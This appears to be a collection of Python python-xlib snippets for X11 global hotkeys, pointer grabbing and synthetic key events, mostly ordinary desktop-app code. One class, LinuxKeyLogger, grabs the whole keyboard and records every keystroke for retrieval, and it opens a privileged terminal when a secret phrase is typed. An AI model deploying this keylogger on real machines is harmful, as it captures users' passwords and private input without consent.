def main(): # current display global display,root display = Display() root = display.screen().root # we tell the X server we want to catch keyPress event root.change_attributes(event_mask = X.KeyPressMask|X.KeyReleaseMask) # just grab the "1"-key for now # Common keys without state for key_code in key_codes.keys(): root.grab_key(key_code, 0, True,X.GrabModeSync, X.GrabModeSync) # F Keys with shift for key_code in f_keys.keys(): root.grab_key(key_code, 1, True,X.GrabModeSync, X.GrabModeSync) # F Keys with ctrl for key_code in f_keys.keys(): root.grab_key(key_code, 4, True,X.GrabModeSync, X.GrabModeSync) # Keys with ctrl for key_code in ctrl_codes: root.grab_key(key_code, 4, True,X.GrabModeSync, X.GrabModeSync) # Switcher key root.grab_key(KEY_SWITCHER, 4, True,X.GrabModeSync, X.GrabModeSync) # signal.signal(signal.SIGALRM, lambda a,b:sys.exit(1)) # signal.alarm(30) while 1: event = display.next_event() handle_event(event) display.allow_events(X.AsyncKeyboard, X.CurrentTime)
class PointerMonitor(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.display = Display() self.root = self.display.screen().root self.windows = [] # Receives GDK windows def addWindowToMonitor(self, window): gdk.gdk_x11_drawable_get_xid.argtypes = [c_void_p] xWindow = self.display.create_resource_object("window", gdk.gdk_x11_drawable_get_xid(hash(window))) self.windows.append(xWindow) def grabPointer(self): self.root.grab_button(X.AnyButton, X.AnyModifier, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, 0, 0) self.display.flush() def ungrabPointer(self): self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.flush() def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True while self.running: event = self.display.next_event() try: if event.type == X.ButtonPress: # Check if pointer is inside monitored windows for w in self.windows: p = w.query_pointer() g = w.get_geometry() if p.win_x >= 0 and p.win_y >= 0 and p.win_x <= g.width and p.win_y <= g.height: break else: # Is outside, so activate GLib.idle_add(self.idle) self.display.allow_events(X.ReplayPointer, event.time) else: self.display.allow_events(X.ReplayPointer, X.CurrentTime) except Exception as e: print "Unexpected error: " + str(e) def stop(self): self.running = False self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.close()
class PointerMonitor(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.display = Display() self.root = self.display.screen().root self.windows = [] # Receives GDK windows def addWindowToMonitor(self, window): xWindow = self.display.create_resource_object("window", gdk.gdk_x11_drawable_get_xid(hash(window))) self.windows.append(xWindow) def grabPointer(self): self.root.grab_button(X.AnyButton, X.AnyModifier, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, 0, 0) self.display.flush() def ungrabPointer(self): self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.flush() def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True while self.running: event = self.display.next_event() try: if event.type == X.ButtonPress: # Check if pointer is inside monitored windows for w in self.windows: p = w.query_pointer() g = w.get_geometry() if p.win_x >= 0 and p.win_y >= 0 and p.win_x <= g.width and p.win_y <= g.height: break else: # Is outside, so activate GLib.idle_add(self.idle) self.display.allow_events(X.ReplayPointer, event.time) else: self.display.allow_events(X.ReplayPointer, X.CurrentTime) except Exception as e: print "Unexpected error: " + str(e) def stop(self): self.running = False self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.close()
def main(): # current display global display, root display = Display() root = display.screen().root # we tell the X server we want to catch keyPress event root.change_attributes(event_mask=X.KeyPressMask | X.KeyReleaseMask) # just grab the "1"-key for now root.grab_key(10, 0, True, X.GrabModeSync, X.GrabModeSync) root.grab_button(1, X.Mod1Mask, 1, X.ButtonPressMask, X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE) # only run for 10 seconds signal.signal(signal.SIGALRM, lambda a, b: sys.exit(1)) signal.alarm(10) while 1: # Handle events without blocking event = display.next_event() handle_event(event) display.allow_events(X.AsyncKeyboard, X.CurrentTime)
def main(): # current display global display,root display = Display() root = display.screen().root # we tell the X server we want to catch keyPress event root.change_attributes(event_mask = X.KeyPressMask|X.KeyReleaseMask) # just grab the "1"-key for now root.grab_key(10, 0, True, X.GrabModeSync, X.GrabModeSync) root.grab_button(1, X.Mod1Mask, 1, X.ButtonPressMask, X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE) # only run for 10 seconds signal.signal(signal.SIGALRM, lambda a,b:sys.exit(1)) signal.alarm(10) while 1: # Handle events without blocking event = display.next_event() handle_event(event) display.allow_events(X.AsyncKeyboard, X.CurrentTime)
class KeyTools: KEY_PRESS = X.KeyPress KEY_RELEASE = X.KeyRelease def __init__(self): self._xdisplay = Display() self._xroot = self._xdisplay.screen().root self._clipboard = gtk.clipboard_get() self._clipPrimay = gtk.clipboard_get("PRIMARY") self._entryForPaste = 118, X.ShiftMask self._group = 0 self.loadModifiers() self._keymap = gdk.keymap_get_default() # @UndefinedVariable def loadModifiers(self): self._modifiers = [] self._modifierList = [] for key in self._xdisplay.get_modifier_mapping(): li = [k for k in key if k] #for altgr key if 92 in li: li.append(108) self._modifierList += li self._modifiers.append(li) def filterGroup(self, entries): if entries: return [e for e in entries if e[-2] == self._group] return [] def remapKey(self, keycode, keysyms): allKeysyms = list(self._xdisplay.get_keyboard_mapping(keycode, 1)[0]) keysyms = keysyms + [0]*(4 - len(keysyms)) allKeysyms[:2] = keysyms[:2] allKeysyms[4:6] = keysyms[2:] self._xdisplay.change_keyboard_mapping(keycode, [allKeysyms]) self._xdisplay.sync() def resetMapping(self): try: process = Popen('setxkbmap -print -verbose 7'.split(), stdout=PIPE, stderr=PIPE) except OSError: print 'install setxkbmap' for line in process.stderr: print 'setxkbmap error: {}'.format(line) layout = variant = '' for line in process.stdout: line = line.rstrip() if line == '': break if line.startswith('layout:'): layout = line.split()[1] elif line.startswith('variant:'): variant = line.split()[1] break command = ['setxkbmap'] if layout: command += ['-layout', layout] if variant: command += ['-variant', variant] if layout or command: try: process = Popen(command, stdout=PIPE, stderr=PIPE) except OSError: print 'install setxkbmap' for line in process.stderr: print 'setxkbmap error: {}'.format(line) def isModifier(self, keycode): return keycode in self._modifierList def getModMask(self, keycode): for i, mods in enumerate(self._modifiers): if keycode in mods: return 2**i return 0 def modifiersKeycodeList(self): return self._modifierList def numMask(self): return X.Mod2Mask def keycode2char(self, keycode, mods, group=0): char = '' name = '' info = self._keymap.translate_keyboard_state(keycode, mods, group) if info: keysym = info[0] char = gdk.keyval_to_unicode(keysym) # @UndefinedVariable if char: char = unichr(char) name = gdk.keyval_name(keysym) # @UndefinedVariable return char or '', name or '' def removeNumLockMask(self, keycode, mod): if not self.isKeypadKey(keycode) and mod & X.Mod2Mask: return mod ^ X.Mod2Mask return mod def entry2keysym(self, keycode, modMask): info = self._keymap.translate_keyboard_state(keycode, modMask, self._group) if info: return info[0] return None def entry2name(self, keycode, modMask): keysym = self.entry2keysym(keycode, modMask) if keysym is not None: return gdk.keyval_name(keysym) # @UndefinedVariable return None def keycode2entries(self, keycode): return self.filterGroup(self._keymap.get_entries_for_keycode(keycode)) def keysym2entry(self, keysym): if not keysym: return None infos = self._keymap.get_entries_for_keyval(keysym) # @UndefinedVariable if infos: for info in infos: keycode, group, level = info if group == self._group: if level < len(LEVEL_MOD): mod = LEVEL_MOD[level] return keycode, mod return None def keysym2deadEntries(self, keysym): resp = () entry = self.keysym2entry(keysym) if entry: keycode, mod = entry resp = ((keycode, mod), ) if not resp: deadKeys = self.findWithDeadKey(keysym) if deadKeys: keyKeysym, deadKeysym = deadKeys keyKeycodes = self.keysym2entry(keyKeysym) deadKeycodes = self.keysym2entry(deadKeysym) if keyKeycodes and deadKeycodes: keyKeycode, keyMod = keyKeycodes deadKeycode, deadMod = deadKeycodes resp = ((deadKeycode, deadMod), (keyKeycode, keyMod)) return resp def keycode2charsAndNames(self, keycode): entries = self.keycode2entries(keycode) chars = [] names = [] for entry in entries: chars.append(keysym2char(entry[0])) names.append(keysym2name(entry[0])) if len(chars) >= 4: break while not names[-1]: chars.pop(-1) names.pop(-1) return chars, names def keycode2keysyms(self, keycode): entries = self.keycode2entries(keycode) return [e[0] for e in entries][:4] def char2entries(self, char): keysym = gdk.unicode_to_keyval(ord(char)) # @UndefinedVariable if keysym: return self.keysym2deadEntries(keysym) return () def findWithDeadKey(self, keysym): name = gdk.keyval_name(keysym) # @UndefinedVariable for deadName in DEAD_KEYS: if name.endswith(deadName): keyName = name[:-len(deadName)] deadName = {'ring': 'abovering', 'schwa': 'small_schwa', 'SCHWA': 'capital_schwa'}.get(deadName, deadName) deadName = 'dead_' + deadName keyKeysym = gdk.keyval_from_name(keyName) # @UndefinedVariable deadSym = gdk.keyval_from_name(deadName) # @UndefinedVariable return keyKeysym, deadSym return None def isKeypadKey(self, keycode): entry = self._keymap.get_entries_for_keycode(keycode) if entry: for info in entry: if info[2] == self._group: name = gdk.keyval_name(info[0]) # @UndefinedVariable if name and name.startswith('KP_'): return True return False def grabKey(self, keycode, modMask): self._xroot.grab_key(keycode, modMask, 0, X.GrabModeAsync, X.GrabModeAsync) if not self.isKeypadKey(keycode) and not modMask & X.Mod2Mask: self._xroot.grab_key(keycode, modMask | X.Mod2Mask, 0, X.GrabModeAsync, X.GrabModeAsync) def ungrabKey(self, keycode, modMask): self._xroot.ungrab_key(keycode, modMask) if not self.isKeypadKey(keycode) and not modMask & X.Mod2Mask: self._xroot.ungrab_key(keycode, modMask | X.Mod2Mask) def nextKeyEvent(self, typ=KEY_PRESS): if isinstance(typ, int): typ = (typ,) num = self._xdisplay.pending_events() if num: for _ in range(num): event = self._xdisplay.next_event() if event.type in typ: return keyEvent(event.type, event.detail, event.state) self._xdisplay.allow_events(X.AsyncKeyboard, X.CurrentTime) return None def slotClipboard(self, clipboard, text, backup): self.sendEntry(*self._entryForPaste) t = Timer(0.1, self.restoreClipboard, (backup,)) t.start() def restoreClipboard(self, backup): self._clipboard.request_text(lambda a, b, c: None) if backup: self._clipboard.set_text(backup or '') self._clipPrimay.clear() self._clipboard.store() def sendText(self, text): backup = self._clipboard.wait_for_text() self._clipboard.set_text(text) self._clipPrimay.set_text(text) self._clipboard.request_text(self.slotClipboard, backup) self._clipboard.store() self._clipPrimay.store() def sendKeysym(self, keysym): entries = self.keysym2deadEntries(keysym) for entry in entries: self.sendEntry(*entry) def sendEntry(self, keycode, mod): self.pressKey(keycode, mod) self.releaseKey(keycode, mod) def pressKey(self, keycode, modMask): window = self._xdisplay.get_input_focus()._data["focus"] evt = Xlib.protocol.event.KeyPress( # @UndefinedVariable time = X.CurrentTime, root = self._xroot, window = window, same_screen = 0, child = Xlib.X.NONE, root_x = 0, root_y = 0, event_x = 0, event_y = 0, state = modMask, detail = keycode ) window.send_event(evt, propagate = True) def releaseKey(self, keycode, modMask): window = self._xdisplay.get_input_focus()._data["focus"] evt = Xlib.protocol.event.KeyRelease( # @UndefinedVariable time = X.CurrentTime, root = self._xroot, window = window, same_screen = 0, child = Xlib.X.NONE, root_x = 0, root_y = 0, event_x = 0, event_y = 0, state = modMask, detail = keycode ) window.send_event(evt, propagate = True)
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate':(GObject.SIGNAL_RUN_LAST, None,()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = Gdk.Keymap.get_default() self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() def map_modifiers(self): gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def grab(self): Gdk.threads_enter() self.keycode= self.keymap.get_entries_for_keyval(keyval)[1][0].keycode self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.root.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch) self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.root.ungrab_key(self.keycode, X.AnyModifier, self.root) def get_mask_combinations(self, mask): return [x for x in xrange(mask+1) if not (x & ~mask)] def idle(self): Gdk.threads_enter() self.emit("activate") Gdk.threads_leave() return False def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GLib.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) def stop(self): self.running = False self.ungrab() self.display.close()
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) gdk.gdk_keymap_get_default.restype = c_void_p self.keymap = capi.get_widget (gdk.gdk_keymap_get_default()) self.display = Display() self.screen = self.display.screen() self.window = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() self.raw_keyval = None self.keytext = "" def is_hotkey(self, key, modifier): keymatch = False modmatch = False modifier = modifier & ~Gdk.ModifierType.SUPER_MASK modint = int(modifier) if self.get_keycode(key) == self.keycode: keymatch = True for ignored_mask in self.ignored_masks: if self.modifiers | ignored_mask == modint | ignored_mask: modmatch = True break return keymatch and modmatch def map_modifiers(self): gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name(0, modifier) or "Mod4" in Gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def get_keycode(self, keyval): count = c_int() array = (KeymapKey * 10)() keys = cast(array, POINTER(KeymapKey)) gdk.gdk_keymap_get_entries_for_keyval.argtypes = [c_void_p, c_uint, c_void_p, c_void_p] gdk.gdk_keymap_get_entries_for_keyval(hash(self.keymap), keyval, byref(keys), byref(count)) return keys[0].keycode def grab(self, key): accelerator = key accelerator = accelerator.replace("<Super>", "<Mod4>") keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return False self.keytext = key self.keycode = self.get_keycode(keyval) self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.window.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch) self.display.flush() # sync has been blocking. Don't know why. #self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.window.ungrab_key(self.keycode, X.AnyModifier, self.window) def rebind(self, key): self.ungrab() if key != "": self.grab(key) else: self.keytext = "" def set_focus_window(self, window = None): self.ungrab() if window is None: self.window = self.screen.root else: gdk.gdk_x11_drawable_get_xid.argtypes = [c_void_p] self.window = self.display.create_resource_object("window", gdk.gdk_x11_drawable_get_xid(hash(window))) self.grab(self.keytext) def get_mask_combinations(self, mask): return [x for x in xrange(mask+1) if not (x & ~mask)] def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() try: self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GLib.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) except AttributeError: continue def stop(self): self.running = False self.ungrab() self.display.close()
class LinuxKeyLogger(threading.Thread): """ This implementation of the keylogger is designed to work on linux based systems. WILL NOT FUNCTION ON OTHER OPERATING SYSTEMS. """ def __init__(self): """ Constructs the logger and its internal objects """ super().__init__() self.display = Display() self.root = self.display.screen().root self.capturedKeys = [] self.windowKeys = [] self.capture = True def run(self): """ Starts the logging process """ self.log() def log(self): """ Sets up the root window to capture the keys being typed in. """ self.root.change_attributes(event_mask=X.KeyPressMask | X.KeyReleaseMask) self.root.grab_keyboard(0, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime) try: while self.capture: event = self.display.next_event() self.handleEvent(event) self.display.allow_events(X.AsyncKeyboard, X.CurrentTime) except Exception as e: print(e) def handleEvent(self, event): """ The Xlib library will produce events when a key is pressed this method will analyze those events and extract the pertainent information along with passing that information further down the line to be processed by the operating system. :param event: :return: None """ if (event.type == X.KeyRelease): char = Xlib.XK.keysym_to_string( self.display.keycode_to_keysym(event.detail, event.state)) if char is not None: self.capturedKeys.append(char) self.windowKeys.append(char) self.send_key(event.detail, event.state) self.phrase_check() # self.send_keyup(event.detail, event.state) elif (event.type == X.KeyPress): pass # try: # self.send_keydown(event.detail, event.status) # except AttributeError as ae: # print(ae) # window = self.display.get_input_focus()._data["focus"] # window.send_event(event,propagate=True) def phrase_check(self): """ This method will check to see if the typed in keys correspond to any of the preset phrases that have associated executions. :return: """ # will need to create a smarter way of doing this stop = self.checkPhrase(self.getStopPhrase()) if (stop): self.capture = False openT = self.checkPhrase(self.getTerminalPhrase()) if (openT): self.openterminal() # ensure window size is maintained maxLength = max(len(self.getStopPhrase()), len(self.getTerminalPhrase())) if len(self.windowKeys) > maxLength: self.windowKeys = self.windowKeys[len(self.windowKeys) - maxLength:] def checkPhrase(self, phrase): """ Checks whether a phrase matches the most recently typed in keys. """ length = len(phrase) capLength = len(self.windowKeys) if (capLength >= length): section = self.windowKeys[capLength - length:capLength] lastWords = ''.join(section) if (lastWords.upper() == phrase): return True return False def send_key(self, emulated_key, state): """Sends a key downstream to be processed by the computer""" self.send_keydown(emulated_key, state) self.send_keyup(emulated_key, state) def send_keyup(self, emulated_key, state): """Sends an key up message downstream to be processed by the computer""" shift_mask = state # Xlib.X.ShiftMask window = self.display.get_input_focus()._data["focus"] event = Xlib.protocol.event.KeyRelease(time=int(time.time()), root=self.display.screen().root, window=window, same_screen=0, child=Xlib.X.NONE, root_x=0, root_y=0, event_x=0, event_y=0, state=shift_mask, detail=emulated_key) window.send_event(event, propagate=True) def send_keydown(self, emulated_key, state): """Sends a key down message downstream to be processed by the computer""" shift_mask = state # Xlib.X.ShiftMask window = self.display.get_input_focus()._data["focus"] event = Xlib.protocol.event.KeyPress(time=int(time.time()), root=self.root, window=window, same_screen=0, child=Xlib.X.NONE, root_x=0, root_y=0, event_x=0, event_y=0, state=shift_mask, detail=emulated_key) window.send_event(event, propagate=True) def openterminal(self): """ This method will open up a terminal on a linux machine. If this application is running with root privileges then the terminal will also be given root privileges. :return: """ subprocess.call("gnome-terminal") def getStopPhrase(self): """ When this phrase is typed in the keylogging will stop running """ return "MISCHIEF MANAGED" def getTerminalPhrase(self): """ When this phrase is typed in a terminal will be created and this terminal will have the same privileges that the key logger is running as. """ return "ROOT" def hasInfoToSend(self): """ Determines whether or not there have been keys that have been captured. :return: True if there are captured keys otherwise False """ return len(self.capturedKeys) > 0 def getInfo(self): """ Provides the caller with a string of the captured keys. It is important to note that a call to this method is a mutating call. This means that once the information is retrieved it is purged from this object. :return: A string of the captured keys """ ret = ''.join(self.capturedKeys) self.capturedKeys = [] return ret
class KeyBindingManager(threading.Thread): """ An Xlib-based global key bindings manager. """ __metaclass__ = Singleton def __init__(self): super(KeyBindingManager, self).__init__() self.daemon = True self.display = Display() self.root = self.display.screen().root self._binding_map = {} self.known_modifiers_mask = 0 gdk_modifiers = (gtk.gdk.CONTROL_MASK, gtk.gdk.SHIFT_MASK, gtk.gdk.MOD1_MASK, gtk.gdk.MOD2_MASK, gtk.gdk.MOD3_MASK, gtk.gdk.MOD4_MASK, gtk.gdk.MOD5_MASK, gtk.gdk.SUPER_MASK, gtk.gdk.HYPER_MASK) for mod in gdk_modifiers: self.known_modifiers_mask |= mod def add_binding_from_string(self, binding_string, action, args=(), kwargs={}): """ Add a key binding from an accelerator string. Uses gtk.accelerator_parse to parse the string; according to the docs, this is "fairly liberal" and "allows abbreviations such as '<Ctrl>' and '<Ctl>'". """ print 'Adding', binding_string keyval, modifiers = gtk.accelerator_parse(binding_string) print modifiers action = (action, args, kwargs) keycode = gtk.gdk.keymap_get_default().get_entries_for_keyval(keyval)[0][0] self._binding_map[(keycode, modifiers)] = action self.regrab() def grab(self): for (keycode, modifiers) in self._binding_map.keys(): self.root.grab_key(keycode, int(modifiers), True, X.GrabModeAsync, X.GrabModeSync) def ungrab(self): for (keycode, modifiers) in self._binding_map.keys(): self.root.ungrab_key(keycode, modifiers, self.root) def regrab(self): self.ungrab() self.grab() def _action_idle(self, action): gtk.gdk.threads_enter() action, args, kwargs = action gobject.idle_add(action, args, kwargs) gtk.gdk.threads_leave() return False def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() if event.type == X.KeyPress and not wait_for_release: keycode = event.detail modifiers = event.state & self.known_modifiers_mask try: action = self._binding_map[(keycode, modifiers)] except KeyError: # This key binding isn't handled by Snappy. self.display.allow_events(X.ReplayKeyboard, event.time) else: # Get the action ready for when the key combo is released wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) self._upcoming_action = (keycode, modifiers, action) elif event.type == X.KeyRelease and wait_for_release and event.detail == self._upcoming_action[0]: # The user has released the key combo; run the queued action wait_for_release = False action = self._upcoming_action[2] del self._upcoming_action gobject.idle_add(self._action_idle, action) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) def stop(self): self.running = False self.ungrab() self.display.close()
class GlobalKeyBinding(gobject.GObject, threading.Thread): __gsignals__ = {"activate": (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, ())} def __init__(self, key): gobject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.key = key self.keymap = gtk.gdk.keymap_get_default() self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self.e = True self.map_modifiers() def map_modifiers(self): gdk_modifiers = ( gtk.gdk.CONTROL_MASK, gtk.gdk.SHIFT_MASK, gtk.gdk.MOD1_MASK, gtk.gdk.MOD2_MASK, gtk.gdk.MOD3_MASK, gtk.gdk.MOD4_MASK, gtk.gdk.MOD5_MASK, gtk.gdk.SUPER_MASK, gtk.gdk.HYPER_MASK, gtk.gdk.LOCK_MASK, ) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: # Do you know how to handle unknown "Mod*" keys? # They are usually Locks and something like that if "Mod" not in gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def on_key_changed(self, *args): self.regrab() def regrab(self): self.ungrab() self.grab() def grab(self): accelerator = self.key keyval, modifiers = gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None print "Unable to bind the selected key" return self.keycode = self.keymap.get_entries_for_keyval(keyval)[0][0] self.modifiers = int(modifiers) return self.root.grab_key(self.keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync) def ungrab(self): if self.keycode: self.root.ungrab_key(self.keycode, X.AnyModifier, self.root) def idle(self): # Clipboard requests will hang without locking the GDK thread gtk.gdk.threads_enter() # Workarround to only send signal every 2 times needed by tilo if self.e == True: self.emit("activate") self.e = False elif self.e == False: self.e = True gtk.gdk.threads_leave() return False def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False gobject.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) def stop(self): self.running = False self.ungrab() self.display.close()
class HotKeyListener(gobject.GObject, threading.Thread): __gsignals__ = { 'key-press': (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, (gobject.TYPE_STRING,)) } def __init__(self, keybinds): gobject.GObject.__init__(self) threading.Thread.__init__(self) self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self._mod_mask = get_known_modifiers() self._keys = {} # Parse and load the keybinds: for act, key in keybinds.iteritems(): km = parse_key(key) if km is not None: self._keys[km] = act def _grab(self): for keycode, _ in self._keys.keys(): self.root.grab_key(keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync) def _ungrab(self): for keycode, _ in self._keys.keys(): self.root.ungrab_key(keycode, X.AnyModifier, self.root) def _emit(self, key): gtk.gdk.threads_enter() self.emit('key-press', key) gtk.gdk.threads_leave() def _key_pressed_action(self, keycode, modifiers): modifiers &= self._mod_mask for km,act in self._keys.iteritems(): if keycode == km[0] and modifiers == km[1]: return act def run(self): self._running = True self._grab() while self._running is True: # Wait for new events select.select([self.display], [], [], 1) # Pump events while self.display.pending_events() > 0: event = self.display.next_event() if event.type == X.KeyPress: act = self._key_pressed_action(event.detail, event.state) if act is not None: gobject.idle_add(self._emit, act) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) self.display.close() def stop(self): self._ungrab() self._running = False
class PointerMonitor(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.display = Display() self.root = self.display.screen().root self.windows = [] # Receives GDK windows def addWindowToMonitor(self, window): self.windows.append(window) def grabPointer(self): self.root.grab_button(X.AnyButton, X.AnyModifier, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, 0, 0) self.display.flush() def ungrabPointer(self): self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.flush() def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True while self.running: event = self.display.next_event() try: if event.type == X.ButtonPress: # Check if pointer is inside monitored windows for w in self.windows: if (Gtk.MAJOR_VERSION, Gtk.MINOR_VERSION) >= (3, 20): pdevice = Gdk.Display.get_default( ).get_default_seat().get_pointer() else: pdevice = Gdk.Display.get_default( ).get_device_manager().get_client_pointer() p = self.get_window().get_device_position(pdevice) g = self.get_size() if p.x >= 0 and p.y >= 0 and p.x <= g.width and p.y <= g.height: break else: # Is outside, so activate GLib.idle_add(self.idle) self.display.allow_events(X.ReplayPointer, event.time) else: self.display.allow_events(X.ReplayPointer, X.CurrentTime) except Exception as e: print "Unexpected error: " + str(e) def stop(self): self.running = False self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.close()
# open connection to the x-server display = Display() # select root window root = display.screen().root # change root window attributes so that it gets notified when key press or key release events occur. root.change_attributes(event_mask=X.KeyPressMask | X.KeyReleaseMask) # terminate the program after 10 seconds to prevent freezing. This is useful if you want to modify # this example without the risk of freezing your whole system permanently. signal.signal(signal.SIGALRM, lambda a, b: sys.exit(1)) signal.alarm(10) # grab the 'x' key (key code 53) root.grab_key(53, 0, True, X.GrabModeSync, X.GrabModeSync) while 1: # get the next event from the input queue. If the queue is empty, this call blocks until # there's an event event = display.next_event() # handle event print("pressed" if event.type == 2 else "released") # tell the x server that we 'consumed' the event. This call is required because we won't get # other events otherwise display.allow_events(X.AsyncKeyboard, X.CurrentTime)
